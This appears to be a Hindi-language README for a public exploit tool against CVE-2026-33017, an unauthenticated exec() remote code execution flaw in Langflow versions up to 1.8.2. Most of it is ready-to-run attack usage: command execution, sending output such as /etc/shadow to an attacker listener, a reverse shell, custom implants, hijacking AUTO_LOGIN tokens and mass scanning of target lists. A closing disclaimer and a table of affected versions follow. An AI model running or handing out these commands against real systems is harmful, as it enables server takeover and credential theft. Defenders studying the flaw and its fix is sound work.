
# CVE-2026-33017 के लिए एक्सप्लॉइट — Langflow <= 1.8.2 में फ्लो बिल्ड एंडपॉइंट में exec() के माध्यम से बिना प्रमाणीकरण के RCE
_____
/ \
| () () |
\ ^ /
|||||
exec() बिना प्रमाणीकरण, बिना सैंडबॉक्स, बिना उम्मीद।
Langflow <= 1.8.2 POST /api/v1/build_public_tmp/{flow_id}/flow एंडपॉइंट के माध्यम से अनप्रमाणित रिमोट कोड निष्पादन की अनुमति देता है। नोड परिभाषाओं में मनमाना Python युक्त हमलावर-आपूर्ति किया गया फ्लो डेटा सीधे exec() को शून्य सैंडबॉक्सिंग के साथ पास किया जाता है।
POST /api/v1/build_public_tmp/{flow_id}/flow
-> chat.py -> start_flow_build() -> build_graph_from_data()
-> Graph.from_payload() -> loading.py -> eval.py create_class()
-> validate.py prepare_global_scope() -> exec(compiled_code)
-> arbitrary code runs as the server process. game over.
git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
python3 exploit.py --url http://target:7860 --check
python3 exploit.py --url http://target:7860 --cmd "id"
# टर्मिनल 1: लिसनर शुरू करें
python3 -m http.server 8080
# टर्मिनल 2: एक्सप्लॉइट चलाएँ
python3 exploit.py --url http://target:7860 --cmd "id" \
--callback-get http://your-ip:8080
# अपने लिसनर लॉग से base64 डिकोड करें:
echo "dWlkPTEwMDAo..." | base64 -d
# टर्मिनल 1: लिसनर शुरू करें
nc -l 8080
# टर्मिनल 2: एक्सप्लॉइट चलाएँ
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
--callback-post http://your-ip:8080
# कच्चा आउटपुट सीधे POST बॉडी में आता है - डिकोडिंग की आवश्यकता नहीं
# टर्मिनल 1: लिसनर शुरू करें
nc -l 4444
# टर्मिनल 2: एक्सप्लॉइट चलाएँ
python3 exploit.py --url http://target:7860 --revshell your-ip 4444
python3 exploit.py --url http://target:7860 --payload-file implant.py
पेलोड फ़ाइल नियम:
prepare_global_scope() के अंदर exec() के माध्यम से मॉड्यूल स्तर पर चलता है_x = os.popen(...).read()) क्योंकि AST फ़िल्टर केवल Assign, FunctionDef, ClassDef नोड्स निष्पादित करता हैthreading.Thread(daemon=True) का उपयोग करना चाहिएजब कोई PUBLIC फ्लो मौजूद नहीं है लेकिन AUTO_LOGIN सक्षम है (कई डिप्लॉयमेंट में डिफ़ॉल्ट):
python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"
यह AUTO_LOGIN टोकन को हाईजैक करता है, पहले फ्लो को PUBLIC में PATCH करता है, फिर उसका शोषण करता है।
एक फ़ाइल से कई लक्ष्यों को स्कैन करें (केवल भेद्यता जाँच):
python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt
targets.txt प्रारूप:
http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# comments are ignored
आउटपुट दिखाता है:
python3 exploit.py --url http://target:7860 --cmd "id" \
--proxy http://127.0.0.1:8080
/api/v1/version को प्रोब करता हैcode फ़ील्ड में दुर्भावनापूर्ण Python युक्त CustomComponent नोड के साथ एक न्यूनतम फ्लो ग्राफ तैयार करता हैdata पैरामीटर के साथ /api/v1/build_public_tmp/{flow_id}/flow पर POST करता है। Langflow ग्राफ को संकलित करता है, जो हमलावर के कोड पर create_class() -> prepare_global_scope() -> exec() को कॉल करता हैv1.9.0 में फिक्स data पैरामीटर को पूरी तरह से हटा देता है, एंडपॉइंट को डेटाबेस से केवल संग्रहीत फ्लो डेटा का उपयोग करने के लिए मजबूर करता है।
यह टूल केवल अधिकृत सुरक्षा अनुसंधान के लिए है। केवल उन सिस्टमों के विरुद्ध उपयोग करें जिन्हें परीक्षण करने की आपके पास स्पष्ट अनुमति है। लेखक दुरुपयोग के लिए जिम्मेदार नहीं है।
| संस्करण |
|---|
| स्थिति |
|---|
| <= 1.8.1 | असुरक्षित |
| 1.8.2 | चेंजलॉग में फिक्स का दावा किया गया लेकिन कोड कभी नहीं बदला गया (JFrog ने पुष्टि की) |
| 1.9.0-dev0 से dev11 | अभी भी असुरक्षित |
| 1.9.0 | वास्तव में ठीक किया गया - एंडपॉइंट से data पैरामीटर हटाया गया |